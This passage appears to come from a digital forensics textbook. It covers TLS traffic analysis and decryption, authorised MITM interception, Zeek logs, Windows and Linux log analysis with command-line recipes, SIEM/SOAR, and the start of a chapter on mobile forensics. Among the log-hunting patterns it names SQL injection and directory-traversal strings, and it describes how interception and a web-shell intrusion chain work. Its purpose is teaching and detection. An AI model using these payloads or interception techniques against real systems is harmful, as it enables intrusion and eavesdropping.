JA3/JA3S TLS Fingerprinting: This powerful technique creates an MD5 hash (a unique digital fingerprint) from specific information in the TLS handshake, mostly from the Client Hello message. The result is a *JA3 fingerprint*. This fingerprint is unique to the software application that started the connection. Groups of malware often use the same code for encryption, which creates the same JA3 fingerprint every time. Investigators can use JA3 to identify specific types of malware or suspicious programs (like Tor) based on how they perform the TLS handshake. This works even if the destination IP address or domain name changes [3]. JA3S is the same idea, but it creates a fingerprint for the server's response.

Session Data: Even without decryption, high-level information about the session is useful. By analyzing how long a connection lasts, the total amount of data sent, and the IP addresses of the client and server, an investigator can determine what kind of activity took place. For example, if a computer makes small, regular connections to an IP address in another country, this can be a sign of C2 *beaconing*. Beaconing is when malware regularly contacts its C2 server for instructions. If a file server suddenly uploads a large amount of data to an unknown external computer, this is a strong sign of data theft (exfiltration).

10.5 Techniques for Traffic Decryption

Although it is not possible to decrypt random captured TLS traffic, it can be done in certain situations. These situations are usually in a controlled lab or on a company network where this kind of monitoring is allowed.

10.5.1 Prerequisites for Decryption

It is very important to remember that you must have the session's secret keys to decrypt TLS traffic. Without these keys, even the most powerful computers cannot break the encryption in a realistic amount of time. The methods described below are ways to get these keys legally.

10.5.2 Using Pre-Master Secret Keys

You can configure most modern web browsers (like Chrome and Firefox) to save the session keys they create to a file. You can do this by creating an environment variable called `SSLKEYLOGFILE`. This variable tells the browser where to save the key log file. When the browser starts, it will add the keys for each new TLS session to this file.

This is the most common and best way to analyze malicious browser traffic in a controlled lab environment. An investigator can set up a virtual machine, create the environment variable, and then browse to a malicious site while also capturing the network traffic. Afterward, they can use the key log file to decrypt the captured PCAP file.

Practical Demo, To decrypt a TLS stream in Wireshark using a key log file:

(1) Go to `Edit -> Preferences`.

(2) In the Preferences window, expand the `Protocols` list and select `TLS`.

(3) In the TLS protocol settings, find the `(Pre)-Master-Secret log filename` field.

(4) Click `Browse...` and select the `ssl_key.log` file that was generated by the browser.

(5) Click `OK`. Wireshark will immediately re-analyze the packets. Any TLS traffic that matches a key in your log file will now be decrypted. You will see it as application data (like HTTP/2).

10.5.3 Ethical Man-in-the-Middle (MITM) Interception

A different approach is to use a special proxy tool, like `mitmproxy` [202] or PortSwigger's Burp Suite [174]. These tools perform an authorized *Man-in-the-Middle (MITM) attack*. An MITM attack is where a tool secretly intercepts and relays communication between two parties. They work by:

(1) Creating their own root *Certificate Authority (CA)*. A CA is an entity that issues digital certificates.

(2) Installing this new root CA on the client computer so that it is trusted.

(3) Intercepting all traffic from the client. When the client tries to start a TLS connection, it connects to the proxy tool instead of the real server.

(4) The proxy pretends to be the real destination server. It gives the client a valid certificate that is signed by the proxy's own CA.

(5) At the same time, the proxy creates a separate, normal TLS connection to the real destination server.

This creates two separate encrypted connections. The proxy sits in the middle and can see and change all the traffic as plain text. This is a powerful method for analyzing live web and mobile application traffic. It is often used for security testing inside a company or for research.

> **Real-World Story,** A company's security team thought a computer was infected with a new type of malware. With the correct permission, they sent the computer's traffic through their web proxy, which was set up to decrypt TLS traffic. They saw the computer regularly making HTTPS POST requests to a popular blogging website. After they decrypted the traffic, they found that the malware was not writing blog posts. Instead, it was hiding its C2 communications inside the data sent in the POST requests. The C2 data was also encrypted and encoded with Base64. This technique of hiding data within other data is called *steganography*. They could not have found this without being able to decrypt the TLS traffic.

10.6 Scalable Analysis with Zeek

Analyzing very large PCAP files in Wireshark is slow and difficult. It is not a good solution for large amounts of data. For large investigations or for continuous network monitoring, investigators use tools like Zeek (which used to be called Bro).

10.6.1 Introduction to Zeek

Zeek is different from a typical IDS, which just looks for known malicious patterns (signatures). Zeek is a powerful "network security monitor." It watches network traffic and understands it. Then, it creates detailed, well-organized log files for every protocol it recognizes. These logs are usually in a tab-separated format, which is easy to work with [212]. Instead of showing the raw packets, Zeek gives a detailed summary of the activity inside the packets. It can analyze live network traffic, or it can analyze a PCAP file that has already been captured.

10.6.2 Understanding Key Zeek Logs

Zeek creates several log files, usually with a `.log` extension. These files are easy to analyze with command-line tools. They can also be imported into a *Security Information and Event Management (SIEM)* system. A SIEM is a tool that collects and analyzes log data from many different sources. Some of the most important logs for an investigator are:

- **conn.log:** The main log of all connections (TCP, UDP, ICMP). It contains the source/destination IPs and ports, protocol, duration, service identified, data volume, and connection state.
- **dns.log:** A structured record of every DNS query and its corresponding response.

- **http.log:** A detailed log of every HTTP request, including the host, requested URI, method (GET/POST), user-agent, and referrer.
- **ssl.log:** Contains metadata for every TLS connection, including the SNI, certificate information, and the JA3 fingerprint.
- **files.log:** A list of all files Zeek identifies being transmitted over the network. It also automatically calculates MD5 and SHA1 hashes for each file.

10.6.3 Threat Hunting with Zeek Logs

The real power of Zeek is using its logs to search for security threats in very large amounts of data. The organized text format of the logs is perfect for processing with standard command-line tools.

Practical Demo, To quickly find the 10 connections that lasted the longest, an investigator can use the `zeek-cut` tool on a `conn.log` file. This tool extracts specific columns of data. The output can then be sent to the `sort` command.

```
cat conn.log | zeek-cut id.orig_h id.resp_h proto
    duration | sort -k4 -rn | head -10
```

This command takes out the source IP, destination IP, protocol, and duration for each connection. It then sorts the results by the fourth column (duration) from largest to smallest. Finally, it shows the top 10 longest connections.

Algorithmic Breakdown: Hunting for C2 Beaconing in conn.log Command-and-Control (C2) beaconing is regular and periodic. Malware must contact its home server ("phone home") at a regular time interval. This pattern can be found using mathematics [198].

(1) Load the `conn.log` data into a command-line tool, a script, or a SIEM.

(2) Group all connections together based on their source and destination IP addresses. We will call each pair a "session."

(3) For each session that has many connections (for example, more than 10), calculate the time difference (delta) between each connection and the one that came just before it.

(4) For each session, calculate the *standard deviation* of these time differences. Standard deviation is a measure of how much the values vary from the average.

(5) A very low standard deviation means the time between connections is very consistent. This creates a regular "heartbeat" pattern. This is a strong mathematical sign of automated communication, like C2 beaconing.

(6) Mark any IP address pairs that have a very low standard deviation. These should be investigated more closely.

Conclusion

In this chapter, we learned that network metadata provides critical clues, even when traffic is encrypted. The most important skills are analyzing TLS handshakes to find server names and using tools like Zeek to identify suspicious patterns in large amounts of data. An investigator uses these skills to track an attacker's movements, identify compromised computers, and prove that data was stolen. Now that you can analyze network communications, the next chapter will teach you how to find related evidence on the computers involved in the incident.

Acronyms and Terminology

Baseline A measurement of what is considered normal network activity, used to spot unusual patterns.

Beaconing A behavior where malware regularly contacts its Command and Control (C2) server for instructions, often at consistent time intervals.

BPF (Berkeley Packet Filter) A specific syntax or language used to create rules for capturing only the desired network packets, filtering out irrelevant traffic.

C2 (Command and Control) A server controlled by an attacker that is used to send commands to compromised computers and receive stolen data.

CA (Certificate Authority) An organization that issues digital certificates, which are used to verify the identity of servers and websites.

Cipher Suite A set of cryptographic algorithms used during a TLS handshake to negotiate the security settings for an encrypted connection.

Compromised Host A computer that an attacker has successfully gained unauthorized control over.

Digital Certificate An electronic document used to prove a server's identity. It is sent to the client during the TLS handshake.

DNS (Domain Name System) A system that translates human-readable domain names (like www.google.com) into machine-readable IP addresses. Its logs are a key source of evidence.

File Carving The process of extracting a complete file (like a picture or document) from a larger set of data, such as a network packet capture.

GDPR (General Data Protection Regulation) A privacy and data protection law in the European Union that sets strict rules for handling personal data, including network identifiers like IP addresses.

GUI (Graphical User Interface) A visual way of interacting with a computer using windows, icons, and menus, as opposed to a text-based command line.

IDS/IPS (Intrusion Detection/Prevention System) A security tool that monitors a network for malicious activity and can either alert administrators (IDS) or actively block the detected threat (IPS).

IPFIX (IP Flow Information Export) The industry-standard protocol for exporting network flow data, which provides high-level summaries of network conversations.

JA3/JA3S A method of creating a unique fingerprint (hash) of how a client (JA3) or server (JA3S) initiates an encrypted TLS connection. It can be used to identify specific malware or applications regardless of their IP address.

Lateral Movement The technique an attacker uses to move from one compromised computer to others within the same network.

Magic Number The first few bytes of a file that identify its type (e.g., PDF, JPG, EXE), also known as a file signature.

Metadata Data that describes other data. In network forensics, this includes information like who communicated with whom, when, and for how long, but not the content of the conversation.

MITM (Man-in-the-Middle) An attack where an adversary secretly intercepts and potentially alters the communications between two parties who believe they are communicating directly with each other.

NetFlow A network protocol developed by Cisco to collect and record metadata about IP traffic passing through a router or switch.

PCAP (Packet Capture) A file format for storing a complete, bit-for-bit recording of all data packets that have passed over a network interface. It is considered the "ground truth" of network activity.

Self-Signed Certificate A digital certificate that is not signed by a trusted Certificate Authority (CA), but by its own creator. It is often a sign of suspicious or malicious activity.

Session Keys Secret, temporary keys that are generated and used to encrypt the data for a single communication session, such as a TLS connection.

SIEM (Security Information and Event Management) A system that collects, aggregates, and analyzes log data from various sources across a network to provide a unified view for security monitoring and threat detection.

Signature A specific, recognizable pattern of data or behavior that is known to be associated with a particular piece of malware or type of attack.

SNI (Server Name Indication) An extension to the TLS protocol that allows a client to indicate which hostname it is attempting to connect to at the start of the handshake. This information is not encrypted.

SSLKEYLOGFILE A specific environment variable that can be configured to make certain web browsers save their TLS session keys to a log file, allowing for later decryption of captured traffic.

Standard Deviation A statistical measure of how spread out a set of numbers is. In network forensics, a low standard deviation in the time between connections can indicate automated C2 beaconing.

Steganography The technique of concealing a message, file, or data within another file or message.

TLS (Transport Layer Security) A cryptographic protocol that provides end-to-end security and privacy for communications over a network, commonly used to encrypt web traffic (HTTPS).

TLS Handshake The initial negotiation process between a client and a server that establishes the parameters (like which cipher suite to use) for their secure, encrypted TLS session.

Chapter 11

Log Analysis for Incident Response

Introduction

During a security incident, an investigator must analyze system logs to understand what the attacker did. Logs provide the main record of all actions on a computer or network. This chapter teaches you the essential skills of log analysis. We will cover the most important log sources from operating systems and applications. You will also learn to use command-line tools for quick analysis and see how large organizations use advanced systems like SIEMs.

11.1 Foundations of Log Management

11.1.1 Introduction to the Role of Logs

In digital forensics and incident response, logs provide the most direct record of events on a digital system. A *log* is a time-stamped file that records actions or events. An operating system, application, or network device creates these records. The records are designed to be *immutable*, which means they should not be changed after they are created. These records are like digital clues. Investigators follow these clues to understand the full story of a security incident. They are the main source of information to answer the basic questions of an investigation: what happened, when did it happen, where did it happen, and who (or what) was responsible?

Log analysis requires a specific way of thinking. An investigator must pivot and discover information. An investigation almost never starts with all the information. Instead, it starts with a single *indicator of compromise (IoC).* An IoC is a piece of evidence that suggests a security breach has happened. Examples include a suspicious IP address, an alert for a failed login, or a filename for known malware. The investigator uses this starting point to *pivot*, which

means to search through large amounts of log data to find related events. Each new piece of evidence is a new point to pivot from. This allows the investigator to find and connect different events. Slowly, the investigator builds a complete timeline. This timeline explains everything the attacker did, from when they first got access to the final damage they caused.

11.1.2 The Three V's of Log Data

The "Three V's" is a concept from the field of big data. It helps to describe the main challenges of modern log analysis that investigators face [123].

Volume Modern companies create a very large amount of log data. A single server can create gigabytes of logs per day; a large organization can easily create terabytes. Because of this large scale, reviewing logs by hand is impossible. This requires automatic collection and powerful analysis tools to find important information (signals) among all the unimportant data (noise).

Variety Log formats are not standardized. An investigator will see logs in different formats. Some formats are *structured*, like JSON (JavaScript Object Notation) or CEF (Common Event Format). Other formats are *semi-structured*, using key-value pairs. Some logs are completely *unstructured*, like plain text. A Windows Event Log (EVTX) has a completely different structure from an Apache web server access log, which is different again from a Cisco firewall log. This variety makes it difficult to *parse* (read and understand) and *correlate* (connect) the data.

Velocity Logs are created in real-time, at the same moment events happen. To respond to incidents effectively, data must be collected, processed, and analyzed very quickly. If it takes a long time to find bad activity, the attacker has more time to hide in the system, get more permissions, and complete their goals. Velocity requires a logging system that can handle fast streams of data.

11.1.3 Essential Log Management Policies

To do an effective investigation, the right logs must be available and they must be trustworthy. This does not happen automatically. It requires careful planning and clear policies. The NIST Special Publication 800-92 provides a complete guide for log management [112].

- **Logging Policy:** This policy defines *what* information should be recorded in logs. The default settings for operating systems and applications often do not record enough information for a forensic investigation. For example, Windows disables *process creation auditing* (Event ID 4688) by default. However, this is one of the most important logs for tracking how malware runs. A good logging policy makes sure that important events on servers, endpoints, firewalls, and key applications are recorded.

- **Log Retention:** This policy answers *how long* logs should be kept. There is a balance between the ability to investigate past events and the cost of storing the logs. Many compliance rules, like the Payment Card Industry Data Security Standard (PCI DSS), require a minimum time to keep logs (for example, one year, with 90 days available immediately). A common strategy is to keep logs in fast, searchable *hot storage* for 30-90 days. After that, logs are moved to cheaper *cold storage* for long-term archiving.
- **Log Protection and Integrity:** This policy ensures that logs can be trusted. If an attacker gets administrative control of a system, they will often try to change or delete local logs to hide their activity. To prevent this, logs should be sent immediately to a central log server. This server should be *write-once*, meaning data can be written to it but not changed or deleted. This ensures that even if the original machine is compromised, an unaltered copy of the logs is safe somewhere else. You can also protect logs by periodically calculating a *cryptographic hash* (for example, SHA-256) of the log files. A hash is a unique digital fingerprint. It provides mathematical proof that the logs have not been changed.

11.2 Core Log Sources for Investigators

11.2.1 Operating System Logs

Windows Event Logs (EVTX)

Windows systems use a special binary format called EVTX to record events. An investigator can view these logs with the Windows Event Viewer. For large-scale analysis, they are usually sent to a central system. There are three main logs that are important for investigators [147]:

- **Application:** Records events from installed applications.
- **System:** Records events from the operating system and its main components, such as driver failures or when services start or stop. - **Security:** The most important log for forensic analysis. When it is configured correctly, it records security-related events like login attempts, account changes, and process creation.

Certain Event IDs are essential for security investigations:

- **4624 (Successful Logon):** Shows who logged on, when, and how. The ‘Logon Type‘ field is very important: Type 2 (Interactive), Type 3 (Network, e.g., file share access), and Type 10 (Remote Desktop Protocol) are most common.
- **4625 (Failed Logon):** Many failed logons for one user can mean a *password guessing attack*. Many failed logons for many different users can mean a *password spray attack*.

- **4720 / 4726 (User Account Created / Deleted):** Attackers often create new accounts for *persistence*. Persistence is the ability for an attacker to remain in the system after a restart.
- **4688 (Process Creation):** This must be enabled using Group Policy. It records each time a new process starts. It also records the *parent process*, which is the process that started the new one. This allows an investigator to follow a chain of actions, for example, seeing Microsoft Word start 'cmd.exe', which then starts 'powershell.exe'.
- **7045 (Service Installation):** Malware often uses a common method for persistence: it installs itself as a new Windows service.

Practical Demo:, To search the Security log on a local machine for all successful RDP logons from a specific IP address, you can use the 'wevtutil.exe' command-line tool with the following command:

```
wevtutil qe Security /q:"*[System[(EventID=4624)] and \
EventData[Data[@Name='IpAddress']='192.168.1.100'] and \
EventData[Data[@Name='LogonType']='10']]" /rd:true /f:text
```

Linux System Logs

Linux logging traditionally uses the *syslog* protocol. A protocol is a set of rules for communication. Modern systems often use 'systemd-journald', which logs to a structured binary format but can also send logs using 'syslog'. Key log files for investigators to check include:

- **/var/log/auth.log** or **/var/log/secure**: Records all authentication events. This includes SSH logins (successful and failed) and the use of the 'sudo' command to *escalate privileges*, which means to get higher-level permissions.
- **/var/log/syslog** or **/var/log/messages**: A general log for system messages from the kernel and various services.
- **~/.bash_history**: The shell history file for each user. It contains a record of the commands they have run. Attackers often delete this file, but its absence can also be a clue.

Analysis focuses on finding unusual SSH logins from strange IP addresses, 'sudo' use without permission, and suspicious commands. Investigators also look for *cron jobs*, which are scheduled tasks, that attackers use for persistence.

11.2.2 Application and Service Logs

Web Server Logs (Apache, Nginx, IIS)

Web servers are directly connected to the internet. Their logs contain a lot of information about *reconnaissance* (when attackers gather information) and

exploitation attempts (when they try to attack). The most common format is the Common Log Format or a similar version. It contains fields like:

- Source IP Address
- Timestamp
- Requested URI (the file or page requested)
- HTTP Status Code (e.g., 200=OK, 404=Not Found, 500=Server Error)
- User-Agent (the browser or tool making the request)
- Referer (the page that linked to the requested resource)

Investigators search these logs for common attack patterns. These patterns include: SQL injection attacks (like ‘’ OR 1=1–’‘) in the web address; directory traversal attempts (like ‘../../‘) to access restricted files; many 404 'Not Found' errors, which can mean an attacker is scanning for vulnerabilities; and unusual *User-Agent* strings. A User-Agent string identifies the client software, and those from hacking tools look different from those from normal web browsers.

Firewall and Proxy Logs

Firewalls and web proxies control network traffic at key points. This makes their logs essential for tracking communication between the internal network and the outside world. These logs provide evidence of:

- **Command and Control (C2):** Malware on a compromised computer needs to communicate with the attacker. This is called *Command and Control (C2)* communication, or "calling home." Firewall logs can show these regular, often unusual, connections to external IP addresses.
- **Data Exfiltration:** Large amounts of outgoing data to unknown destinations can mean that an attacker is stealing data.
- **Initial Access:** Logs may show the first suspicious connection that caused the system compromise.

The main analysis task is to connect an internal, private IP address to an external, public IP address at a specific time. This allows an investigator to link harmful network activity from the internet to a specific device inside the local network.

11.3 Command-Line Log Analysis Techniques

11.3.1 The Power of Text-Processing Utilities

Before using complex tools like a SIEM, investigators often do a first quick analysis, called *triage*, on the raw text files. They use standard command-line

tools available on Linux or in environments like Windows Subsystem for Linux (WSL). The method is to connect simple tools together in a chain. The output from one tool becomes the input for the next tool. This approach is very fast and flexible for quickly answering questions like "How many times did this IP address appear in the logs?" or "What are the top 10 requested files?"

11.3.2 Essential Commands and Recipes

Several commands form the main part of the command-line analyst's toolkit:

'grep' Filters a file line-by-line. It prints only the lines that contain a specific pattern (a string or regular expression). It is used to find all events related to a specific user, IP address, or error message.

'awk' A powerful language for scanning and processing patterns. Its most common use is to split lines into fields (columns) and print specific ones. For example, in a web log where spaces separate columns, 'awk 'print $1'' would print the first column (the source IP).

'sort | uniq -c | sort -rn' This chain of three commands is very useful for *frequency analysis*, which is counting how often items appear.

(1) 'sort': Arranges the input lines in alphabetical order. This is necessary for 'uniq' to work correctly.

(2) 'uniq -c': Reduces identical lines that are next to each other into a single line. It adds a count of how many lines there were.

(3) 'sort -rn': Sorts the counted lines in reverse numerical order. This puts the most frequent items at the top.

Practical Demo:, To analyze an Apache 'access.log' file to find the top 10 IP addresses that made POST requests (which are often used to submit data or login information), an investigator would chain the tools together:

```
grep "POST" access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -n 10
```

11.4 Log Normalization and Correlation

11.4.1 The Goal of Normalization

As we explained earlier, logs come in many different formats. This makes it impossible to search for "the source IP address" across all log types at the same time. *Normalization* is the process of reading many different log formats and converting their fields into one standard format. This standard format is called a *schema*. This creates a single view where, for example, the 'IpAddress' from a Windows Event Log, the 'c-ip' from an IIS log, and the first field of an Apache log are all converted to a single, standard field like 'source.ip'.

A common schema might include fields like:

- Standardized Timestamp (converted to a single timezone, usually UTC)
- Reporting Host
- Source IP / Destination IP
- Source Port / Destination Port
- Username
- Event ID / Event Mnemonic
- Event Description

11.4.2 The Art of Correlation

The real investigation starts with *correlation*. Correlation is the process of connecting individual, normalized log entries from different sources. This helps to build a complete story of an incident. Think of it as putting a puzzle together. Each log entry is a single piece; correlation puts the pieces together. The main pivot points for linking events are pieces of data that are the same in different logs, most often:

- IP addresses
- Timestamps
- Hostnames
- Usernames

Algorithmic Breakdown: Here is how an analyst might manually correlate a web application attack:

(1) **Alert:** An *Intrusion Detection System (IDS)* or a firewall log shows an allowed connection from a known malicious external IP, ‘1.2.3.4‘, to the company’s public web server at ‘10.0.0.50‘ on port 443 at 14:32:15 UTC.

(2) **Pivot 1 (IP & Time):** The analyst searches all logs from the web server ‘10.0.0.50‘ for activity from IP ‘1.2.3.4‘ around that time. They find an entry in the web server’s access log at 14:32:16 UTC showing a POST request to a file named ‘upload.php‘.

(3) **Pivot 2 (Host & Time):** The analyst now suspects a malicious file was uploaded. They search the operating system logs on host ‘10.0.0.50‘ for any unusual activity right after the upload. In the Windows Security log, they find a Process Creation event (ID 4688) at 14:32:18 UTC. The log shows that the web server process (‘w3wp.exe‘) started a new process: ‘powershell.exe‘.

(4) **Conclusion:** The individual logs alone were interesting. But when they are correlated, they tell the full story. The attacker from ‘1.2.3.4‘ used a file upload weakness to put a malicious script on the server. Then, the attacker ran the script and gained a *remote shell*, which gives them command-line control over the server.

This process of pivoting between log sources using shared information is the basic method of log analysis.

11.5 Advanced Analysis at Scale

Manual correlation and command-line analysis work well for small investigations but are not efficient for large companies. Advanced tools are needed to automate the process.

11.5.1 Building a Super Timeline with Plaso/log2timeline

Plaso is a set of open-source forensic tools. It is designed to automatically create *super timelines* [95]. It is based on the idea that every event on a system, from a file change to a log entry, can be placed on one single timeline.

Plaso has *parsers* for hundreds of different log and file formats. A parser is a program that reads data in one format and translates it into another. When an investigator runs Plaso on a collection of evidence (like a disk image or a folder of logs), it finds every timestamped event. It then normalizes the events into a common database format. This allows the investigator to sort, filter, and analyze the final super timeline.

Practical Demo:, First, an analyst uses ‘log2timeline.py‘ to process a directory of collected evidence and create a Plaso storage file:

```
log2timeline.py my_timeline.plaso /mnt/evidence_collection/
```

The ‘/mnt/evidence_collection/‘ directory might contain EVTX files, web server logs, syslog files, and more. Next, the analyst uses ‘psort.py‘ to search this unified database. For example, to export all events involving the attacker IP ‘1.2.3.4‘ to a CSV file for review:

```
psort.py -o dynamic -w results.csv my_timeline.plaso "ip_address == '1.2.3.4'"
```

The result is one timeline. It shows every action related to that IP address from all log sources. The events are automatically connected by time.

11.5.2 SIEM and SOAR for Real-Time Response

Security Information and Event Management (SIEM)

A *SIEM (Security Information and Event Management)* system is the solution that large organizations use for managing huge amounts of logs. Platforms

like Splunk, IBM QRadar, and Elastic SIEM are designed to perform the functions of log management automatically and in real-time. The key functions of a SIEM are:

- **Aggregation:** Collecting logs from thousands of sources across a company.
- **Normalization:** Parsing the logs into a common schema during the process.
- **Correlation & Alerting:** Applying pre-defined rules to the incoming data stream to find suspicious patterns. For example, a rule might create an alert if a user has 100 failed login attempts within one minute.
- **Dashboarding & Reporting:** Providing visual charts and search tools for analysts.

A SIEM is a powerful tool, but it is not a complete solution. The famous 2013 Target data breach is a good warning. Reports showed that the security team at Target had a SIEM, and it created alerts that correctly identified the attacker's malware and their *lateral movement*. Lateral movement is when an attacker moves from one computer to another inside a network. However, because of company procedures, these important alerts were ignored, which allowed the attack to continue [118]. This shows that a SIEM is only useful if the human analysts and procedures that support it are effective.

Security Orchestration, Automation, and Response (SOAR)

SOAR platforms are the next step in security operations. A *SOAR (Security Orchestration, Automation, and Response)* platform takes alerts, usually from a SIEM. It then automatically performs the first response actions by following predefined steps called *playbooks*. This saves human analysts from doing repetitive tasks and allows a much faster response.

Example Playbook: Consider an alert for *impossible travel*. This is an event where it is physically impossible for a user to be in two locations in a short time. For example, a user account logs in from New York and then, five minutes later, logs in from Moscow.

(1) A SIEM correlation rule finds the impossible travel event and creates an alert.

(2) The alert is sent to the SOAR platform, which automatically starts the "Impossible Travel Playbook."

(3) **Action 1 (Automated):** The SOAR platform uses an API to connect to Active Directory. It then checks the user's job role and what groups they belong to.

(4) **Action 2 (Automated):** If the user does not have special permissions, the playbook runs a command to temporarily disable the user's account. This prevents more damage.

(5) **Action 3 (Automated):** The SOAR platform creates a new ticket in the organization's IT help desk system. It fills the ticket with all the important logs and data from the alert, and gives it to a security analyst for more investigation.

By the time a human analyst sees the ticket, the first steps to control the problem have already been done, and all the needed data has been collected for them.

Conclusion

This chapter covered the key skills for log analysis. We learned to identify critical log sources like Windows Event Logs and to use command-line tools to find evidence. Most importantly, we learned how to correlate events from different systems to build a timeline of an attack. An investigator uses this process to follow an attacker's steps, from their initial entry into the network to their final goal. In the next chapter, we will apply these log analysis skills to investigate malware, where logs help reveal a malicious program's behavior.

Acronyms and Terminology

API Application Programming Interface: A set of rules and tools that allows different software applications to communicate with each other. In the context of SOAR, it's used to connect to other systems (like Active Directory) to perform automated actions.

C2 (Command and Control) The communication channel that malware uses to "call home" to an attacker's server. This is used to receive instructions and send back stolen data.

CEF Common Event Format: A standardized, structured log format that uses key-value pairs, designed to make log data from different sources easier to manage and correlate.

Cold Storage A cheaper, slower storage method used for long-term archiving of log data that does not need to be accessed quickly.

Correlation The process of linking individual log entries from different sources (e.g., a firewall and a web server) to build a complete timeline and understand the full story of a security incident.

Cron Job A task scheduled to run automatically at a specific time or interval on Linux systems. Attackers often use them to maintain persistence on a compromised machine.

Cryptographic Hash A unique digital fingerprint (e.g., SHA-256) generated from a block of data. It is used to verify the integrity of a file, proving that it has not been altered.

Data Exfiltration The unauthorized act of stealing and transferring data from a computer or network.

Escalate Privileges The action of an attacker gaining higher-level permissions (e.g., from a regular user to an administrator) on a system.

EVTX The structured, binary file format used by the Windows operating system to store event logs.

Exploitation The act of taking advantage of a vulnerability or weakness in a system to carry out an attack.

Frequency Analysis An analysis technique used to count how often specific items (like IP addresses or usernames) appear in logs, often to identify the most active or suspicious entries.

Hot Storage Fast, expensive, and easily searchable storage used for keeping recent logs (e.g., for 30-90 days) that analysts need to access immediately.

HTTP Hypertext Transfer Protocol: The underlying protocol used for communication on the World Wide Web.

IDS Intrusion Detection System: A security system that monitors network or system activities for malicious patterns and generates alerts when potential threats are detected.

Immutable A quality of a record, meaning that it cannot be changed or deleted after it has been created. Logs should ideally be immutable to be trustworthy evidence.

Impossible Travel A type of security alert that is triggered when a single user account logs in from two geographically distant locations within a time frame that would make it physically impossible to have traveled between them.

IoC (Indicator of Compromise) A piece of forensic data or evidence, such as a suspicious IP address or file hash, that indicates a security breach has occurred.

JSON JavaScript Object Notation: A common, structured data format that is easy for humans to read and for machines to parse, often used for log files.

Lateral Movement The technique an attacker uses to move from one compromised computer to other computers within the same internal network.

Log A time-stamped, automated record of events that have occurred on a system or network. It is a primary source of evidence in a digital investigation.

Log Retention A policy that defines how long log data must be stored, balancing investigative needs with storage costs and compliance requirements.

NIST National Institute of Standards and Technology: A U.S. government agency that creates standards and guidelines, including the widely-referenced SP 800-92 guide for log management.

Normalization The process of parsing logs from many different formats and converting them into a single, standardized schema. This makes it possible to search for the same type of information (like a source IP) across all log sources at once.

Parent Process The program that starts or launches another program (a child process). Analyzing this relationship helps investigators trace the chain of execution for malware.

Parse The process of analyzing a string of text or data (like a log entry) to identify its components and structure so it can be used by a program.

PCI DSS Payment Card Industry Data Security Standard: A set of security standards that requires organizations handling credit card information to follow specific rules, including log retention for at least one year.

Persistence A technique used by an attacker to ensure their malicious code or access to a system survives a reboot or other interruptions.

Pivot The investigative technique of using a known piece of information (an IoC) to search through logs to find related activities or other pieces of evidence.

Playbook A set of predefined, automated steps that a SOAR platform executes in response to a specific security alert, designed to handle repetitive tasks and speed up incident response.

RDP Remote Desktop Protocol: A Microsoft protocol used to connect to and control another computer over a network, providing a graphical user interface.

Reconnaissance The initial phase of an attack where the adversary gathers information about a target system or network to find potential vulnerabilities.

Remote Shell Command-line access and control over a compromised computer, obtained remotely by an attacker.

Schema A structured framework or model for organizing data. In log management, it refers to the standardized set of fields (e.g., source.ip, username) used after normalization.

SIEM (Security Information and Event Management) A system that collects, aggregates, normalizes, and correlates log data from numerous sources in real-time to provide alerts and a centralized platform for security analysis.

SOAR (Security Orchestration, Automation, and Response) A platform that works with a SIEM to automate the initial response to security alerts by using playbooks, aiming to reduce manual work and response times.

SSH Secure Shell: A cryptographic network protocol used for secure remote login and command-line execution, typically on Linux and other Unix-like systems.

Super Timeline A single, comprehensive timeline of all events from all collected evidence sources (logs, file systems, etc.), created by tools like Plaso to show the chronological order of every action on a system.

Syslog A standard protocol used for sending log messages in an IP network. It is a traditional and widely used method for centralizing logs, especially on Linux systems.

Triage The initial, rapid assessment of a security incident or evidence to determine its priority and scope, helping to guide the subsequent investigation.

URI Uniform Resource Identifier: An address that identifies a specific resource on a server, such as a web page or file, often found in web server logs.

User-Agent A text string sent with a web request that identifies the client software (e.g., web browser, script, or hacking tool) making the request. Unusual User-Agents can indicate malicious activity.

UTC Coordinated Universal Time: A global time standard used to ensure all logs from different systems and time zones are recorded consistently, which is critical for correlating events accurately.

WSL Windows Subsystem for Linux: A compatibility layer in Windows for running Linux binary executables natively, allowing investigators to use powerful Linux command-line tools on a Windows machine.

Write-Once A property of a storage medium that allows data to be written only one time, preventing any modification or deletion. This is used to protect the integrity of centralized log archives.

Part 3

Forensics: Mobile, Cloud & Apps

This part extends the investigation beyond traditional computers. It focuses on the modern platforms where daily life and criminal activity now happen. You will learn the special skills needed to investigate the unique challenges of mobile devices, cloud systems, social media applications, and the malware that targets these technologies.

Chapter 12

Mobile, IoT, and Cloud Forensics

Introduction

Modern digital investigations involve more than just computers. Important evidence is now on smartphones, smartwatches, and in cloud services. This chapter teaches you how to analyze these complex, connected systems. We will explain the main challenges of mobile forensics, show you how to get data from Android and iOS devices, and discuss how to find evidence on IoT devices and in the cloud.

12.1 The Modern Mobile Forensic Challenge

The main challenge in mobile forensics is not just the device's technology. It is the device's role as the center of a user's entire digital life. Investigators must change their way of thinking and their methods to handle this new situation.

12.1.1 Defining the Scope

Forensic analysis is no longer about looking at a single, separate device. Today, investigations must deal with a *personal area network*. This is a small network of personal devices connected together, which may include a smartphone, a tablet, a smartwatch, fitness trackers, smart home assistants, and modern vehicles. Evidence from a single event, like a conversation or a trip, may be broken into pieces and stored on all these different devices. For example, you can often read a message sent from a phone on a connected watch. The record of this connection, called a *synchronization log*, might be stored in a cloud account. The phone is the main control center, but the evidence itself is spread out. This situation requires a strategy. The investigator must identify

every place data could be stored and understand how these places connect and share information [12].

12.1.2 Key Differences from Computer Forensics

Mobile forensics is a part of digital forensics, but it has special challenges that make it different from regular computer analysis.

Hardware & Software Fragmentation The world of computer forensics mainly deals with two operating systems: Windows and macOS. The mobile world, especially for Android, is much more *fragmented*. This means there are many different versions of hardware and software. Many manufacturers (like Samsung, Google, and Huawei) use their own special hardware and highly changed versions of the Android OS. Because there is no standard, a forensic method or tool that works on one phone model might not work on another, even if the same company made both.

Security by Default Modern mobile devices are built with strong security as a main feature. *Full-Disk Encryption (FDE)* or *File-Based Encryption (FBE)* is now standard on both iOS and Android. *Encryption* is a process that scrambles data so that only authorized people can read it. FDE encrypts the entire storage of a device, while FBE encrypts individual files. This means that without the user's passcode, strong mathematical processes called *cryptographic algorithms* protect the data. Features like a *secure bootloader* stop the device from loading an operating system that is not officially approved. A bootloader is the first software that runs when a device starts. This security feature blocks many old methods for getting past the OS security [9].

